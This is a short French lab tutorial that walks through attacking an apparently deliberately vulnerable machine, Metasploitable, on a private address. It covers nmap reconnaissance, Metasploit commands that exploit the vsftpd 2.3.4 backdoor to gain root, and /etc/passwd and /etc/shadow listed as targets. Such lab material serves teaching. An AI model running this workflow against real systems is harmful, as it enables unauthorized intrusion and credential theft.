Exemple d’attaque

Les étapes :

1- **Reconnaissance.**
2- **Identifier la vulnérabilité**
3- **Trouver une faille**
4- **Appliquer l’exploit**
5- **Prendre le contrôle**

Identifier les vulnérabilités sur la cible :

Commande utiles :
#nmap -sV IP (identifier les ports ouverts et les logiciels qui sont derrière ces ports)
Exemple : port 21 = port ftp , le logiciel qui écoute derrière ce port (et la version) =
Autres commandes utiles : Ping , ifconfig , netsat lntu, uname -a (version de linux), whoami (utilisateur), cat /etc/services (liste des ports et services associés).

Commandes metasploit

msf# search
msf# info
msf# use
msf# set RHOSTS IP de la machine cible
msf# set PORT le port cible
msf# exploit

Fichiers sensibles :

/etc/passwd
/etc/shadow (utilsateur et informations sur le mot de passe)

Exemple

Machine cible : 192.168.1.10 – metalpoitabe
Phase de reconnaissance:

1- Ping 192.168.1.10
2- nmap -sV 192.168.1.10

On voit que plusieurs ports sont ouverts : 21,22,23,25 etc.., les services, la version des logiciels derrière ces ports

On constate : vstpd.2.3.4 , opessh 4.7....
Sur la machine d'attaque (Kali):
#service postgresql start
#msfdb init
Lancer metasploit
msfconsole
msf6>search vsftpd
msf6>info exploit.....
msf6>use exploit.....
msf6(exploit....)>set RHOSTS 192.168.1.10
RHOSTS 192.168.1.10 (operation réussie)
msf6(exploit....)>set RPORT 21
msf6(exploit....)>exploit
whoami
root
ip add

Intrusion réussie